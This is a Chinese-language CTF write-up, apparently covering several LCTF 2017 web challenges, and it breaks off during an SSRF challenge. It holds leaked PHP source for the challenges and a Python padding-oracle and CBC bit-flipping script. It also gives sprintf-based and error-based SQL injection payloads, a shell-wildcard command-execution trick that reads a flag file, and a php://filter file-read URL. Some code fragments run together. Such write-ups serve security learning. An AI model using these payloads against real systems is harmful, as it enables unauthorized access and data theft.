不得不说比赛真的挺难得…补题吧…
首先上来发现文件login.php和admin.php,但是没什么别的,想到文件泄露通过swp得到源码
login.php
error_reporting(0);
session_start();
define("METHOD", "aes-128-cbc");
include('config.php');
function show_page(){
echo '
Login Form
后台登录
';
}
function get_random_token(){
$random_token = '';
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
for($i = 0; $i < 16; $i++){
$random_token .= substr($str, rand(1, 61), 1);
}
return $random_token;
}
function get_identity(){
global $id;
$token = get_random_token();
$c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
$_SESSION['id'] = base64_encode($c);
setcookie("token", base64_encode($token));
if($id === 'admin'){
$_SESSION['isadmin'] = 1;
}else{
$_SESSION['isadmin'] = 0;
}
}
function test_identity(){
if (isset($_SESSION['id'])) {
$c = base64_decode($_SESSION['id']);
$token = base64_decode($_COOKIE["token"]);
if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
if ($u === 'admin') {
$_SESSION['isadmin'] = 1;
return 1;
}
}else{
die("Error!");
}
}
return 0;
}
if(isset($_POST['username'])&&isset($_POST['password'])){
$username = mysql_real_escape_string($_POST['username']);
$password = $_POST['password'];
$result = mysql_query("select password from users where username='" . $username . "'", $con);
$row = mysql_fetch_array($result);
if($row['password'] === md5($password)){
get_identity();
header('location: ./admin.php');
}else{
die('Login failed.');
}
}else{
if(test_identity()){
header('location: ./admin.php');
}else{
show_page();
}
}
?>
admin.php
error_reporting(0);
session_start();
include('config.php');
if(!$_SESSION['isadmin']){
die('You are not admin');
}
if(isset($_GET['id'])){
$id = mysql_real_escape_string($_GET['id']);
if(isset($_GET['title'])){
$title = mysql_real_escape_string($_GET['title']);
$title = sprintf("AND title='%s'", $title);
}else{
$title = '';
}
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
$result = mysql_query($sql,$con);
$row = mysql_fetch_array($result);
if(isset($row['title'])&&isset($row['content'])){
echo ""
.$row['title']."
".$row['content'];
die();
}else{
die("This article does not exist.");
}
}
?>
<html>
<head>
<meta charset="utf-8">
<title>adminpagetitle>
<link href="css/bootstrap.min.css" rel="stylesheet">
<script src="js/jquery.min.js">script>
<script src="js/bootstrap.min.js">script>
head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="navbar-header">
<a class="navbar-brand" href="#">后台a>
div>
<div>
<ul class="nav navbar-nav">
<li class="active"><a href="#">编辑文章a>li>
<li><a href="#">设置a>li>
ul>
div>nav>
<div class="panel panel-success">
<div class="panel-heading">
<h1 class="panel-title">文章列表h1>
div>
<div class="panel-body">
<li><a href='?id=1'>Welcome to mybloga><br>li>
<li><a href='?id=2'>Hello,world!a><br>li>
<li><a href='?id=3'>This is admin pagea><br>li>
div>
div>
body>
html>
第一步就是用login中的oracle padding attack,中间出了很多很多问题,只能爆出15位,第一位需要爆破,之前自己写的脚本死活通,现在重写改一下,原来是之前再发送的时候忘记了base64加密!!!蠢到死…
然后扫一遍就可以达到条件,将isadmin置1
import requests
import re
import base64
def make_iv(iv,num,pos):
ret = ''
ret += '0'*(15-pos)
ret+=chr(num)
for i in range(16-pos,16):
ret+=chr(ord(iv[i])^pos^(pos+1))
return ret
s = requests.session()
login_url = 'http://111.231.111.54/login.php'
headers= {
"Host": "111.231.111.54",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://111.231.111.54/login.php",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded"
}
cookies ={
"td_cookie":"18446744069640386265",
"PHPSESSID":"vc16b97robdlk85ek3qbfudb37"
}
data={"username":"admin","password":"admin"}
decodestr=base64.b64decode("dEhPNW9vV3hyczBwc1FhaQ==")
mid = ''
iv = '0'*16
a=[]
''''''
for i in range(0,16):
for j in range(0,256):
temp_iv = make_iv(iv,j,i)
#print len(temp_iv)
temp_iv=base64.b64encode(temp_iv)
cookies ={
"td_cookie":"18446744069640386265",
"PHPSESSID":"d9r8bfjalqft2udaj5qoeune11",
"token":temp_iv
}
content = s.post(url=login_url,headers=headers,cookies=cookies).text
#print content,j
if "Error!" not in content:
print i,j^(i+1)
iv=base64.b64decode(temp_iv)
mid+=chr(j^(i+1))
a.append(j^(i+1))
break
print mid,len(mid)
a=a[::-1]
print a
#a=[16, 25, 66, 10, 62, 48, 33, 69, 42, 89, 32, 27, 96, 18, 104]
sss='dmin'+chr(0xb)*0xb
key = ''
for i in range(len(sss)):
key+=chr(ord(sss[i])^a[i])
what = ''
for i in range(256):
temp_key = chr(i)+key
temp_key=base64.b64encode(temp_key)
cookies ={
"td_cookie":"18446744069640386265",
"PHPSESSID":"d9r8bfjalqft2udaj5qoeune11",
"token":temp_key
}
content = s.post(url=login_url,headers=headers,cookies=cookies).text
$num='tree';
$location=5;
$format = 'The %1$s cntains %2$02d monkeys';
echo sprintf($format,$num,$location);
?>
所以,payload%1$'%s'中的'%被视为使用%进行 padding,导致了'的逃逸
通过fuzz得知,在php的格式化字符串中,%后的一个字符(除了’%’)会被当作字符类型,而被吃掉,单引号’,斜杠\也不例外。
如果能提前将%’ and 1=1#拼接入sql语句,若存在SQLi过滤,单引号会被转义成\’
select * from user where username = '%\' and 1=1#';
然后这句sql语句如果继续进入格式化字符串,\会被%吃掉,’成功逃逸
不过这样容易遇到PHP Warning: sprintf(): Too few arguments的报错
还可以使用%1$吃掉后面的斜杠,而不引起报错
http://111.231.111.54/admin.php?
id=1
&title=%1$' union select 1,(select f14g from web1.key limit 0,1),3%23
LCTF{N0!U_hacked_My_b1og}
这个题目总共用到了
源码泄露
cbc字节翻转攻击
sqli格式化字符串构造注入
学习学习,这真的是签到题????
首先看到提示
后面有明显的报错,单引号被翻倍了,没法绕过,然后居然是直接利用即可
schema
和
information
都过滤了,然后我想到了利用盲注,既然有回显就是order by盲注了,可以利用类似这样的
polygon、multipoint、multilinestring、multipolygon、linestring
然后我们利用的就是最后一个
youcanneverfindme17
,表名是
product_2017ctf
然后之后我们可以利用报错注入!利用已知的列名求得下一个列的列名(之前确实没见过,长见识了!)利用如下
pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id))c)
//得到Duplicate column name 'pro_name'
pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id,pro_name))c)
//得到Duplicate column name 'owner'
pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id,pro_name,owner))c)
得到d067a0fa9dc61a6e
要是继续的话发现d067a0fa9dc61a6e
这个被ban掉了…
然后学习了一波大佬绕过列名获得数据的方法,真心膜拜,下面可以利用两种思路,一个是最方便的直接查询,另一种就是比较复杂的,记得我们之前说的order by可以利用吗?可以写脚本爆破。
构造如下
pro_id=0 union select 1,(select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from product_2017ctf)e limit 1 offset 3),3,4
d067a0fa9dc61a6e7195ca99696b5a896.php
https://github.com/p4-team/ctf/tree/master/2015-12-27-32c3/tiny_hosting_web_250#eng-version
按顺序POST提交下面3条
filename=p.php&content==`*`;
filename=bash&content=xxx
filename=bash2&content=ls /
再访问p.php,就可以看到
327a6c4304ad5938eaf0efb6cc3e53dc.php
原因如下
p.php的=`*`; 其中的*会展开成当前文件夹下的文件,并按字母顺序排列
大致上等价于
echo `bash bash2 index.html p.php` ?>
访问p.php的时候,bash就会执行bash2这个文件里的命令,后面的文件无视掉
通过修改bash2这个文件的内容就可以构造命令执行。
再POST
filename=bash2&content=cat /3*
得到flag
$flag = "LCTF{n1ver_stop_nev2r_giveup}";
?>
首先提示是IDE开发的什么系统…emmm,但是我觉得不行,扫描一下目录发现了.idea目录(其他的没什么用),查看一下,发现改目录的作用是存放项目的配置信息,包括历史记录,版本控制信息等。这里算是源码泄露的一种吧,workspace.xml中查看
register.php
include('config.php');
try{
$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
die('mysql connected error');
}
$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
$code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
if (strlen($username) > 16 || strlen($username) > 16) {
die('Invalid input');
}
$sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch() !== false) {
die('username has been registered');
}
$sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
$sth->execute([':username' => $username, ':password' => $password]);
preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
if (count($matches) === 3 && $admin === $matches[0]) {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
$sth->execute([':username' => $username, ':identity' => $matches[1]]);
} else {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
$sth->execute([':username' => $username]);
}
echo '';
member.php
error_reporting(0);
session_start();
include('config.php');
if (isset($_SESSION['username']) === false) {
die('please login first');
}
try{
$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
die('mysql connected error');
}
$sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username');
$sth->execute([':username' => $_SESSION['username']]);
if ($sth->fetch()[0] === 'GUEST') {
$_SESSION['is_guest'] = true;
}
$_SESSION['is_logined'] = true;
if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {
}else{
if(isset($_GET['file'])===false)
echo "None";
elseif(is_file($_GET['file']))
echo "you cannot give me a file";
else
readfile($_GET['file']);
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
head>
<body background="./images/1.jpg">
<object type="application/x-shockwave-flash" style="outline:none;" data="http://cdn.abowman.com/widgets/hamster/hamster.swf?" width="300" height="225"><param name="movie" value="http://cdn.abowman.com/widgets/hamster/hamster.swf?">param><param name="AllowScriptAccess" value="always">param><param name="wmode" value="opaque">param>object>
<p style="color:orange">你好啊,但是你好像不是XDSEC的人,所以我就不给你flag啦~~p>
body>
html>
login.php
session_start();
include('config.php');
try{
$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
die('mysql connected error');
}
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
if (strlen($username) > 32 || strlen($password) > 32) {
die('Invalid input');
}
$sth = $pdo->prepare('SELECT password FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch()[0] !== $password) {
die('wrong password');
}
$_SESSION['username'] = $username;
unset($_SESSION['is_logined']);
unset($_SESSION['is_guest']);
#echo $username;
header("Location: member.php");
?>
看到界面是要先申请才能在login.php中登录的,因为尝试在login.php中直接联合查询注入失败了,确实不知道是什么姿势,而且我们发现只有在申请的时候这样
username=hello
password=hello
code="xdsec"+5000*"###A"
绕后用php的伪协议构造文件包含得到config.php中的flag
http://123.206.120.239/member.php?file=php://filter/convert.base64-encode/resource=config.php
解密得到flag
$user = "xdsec";
$pass = "xdsec";
$flag = "LCTF{pr3_maTch_1s_A_amaz1ng_Function}"
?>
其中pre_match的部分资料在这
http://bobao.360.cn/learning/detail/4586.html
扫描了一下没什么特别的,只有本地的test.php,主页面是一个输入一个网址得到内容的东东,但是貌似过滤了127.0.0.1和localhost什么的。但是也不知道要干啥,看到提示是本地,猜测是找到本地的文件,猜测是过滤了host,然后再curl了一下,之前没接触过这个,所以其实并不怎么会这个,参看wp了…首先放一下出题人的代码了
if(!$_GET['site']){
echo <<
look source code:
method='GET'>
'submit' name='submit' />
'text' name='site' style="width:1000px" value="https://www.baidu.com"/>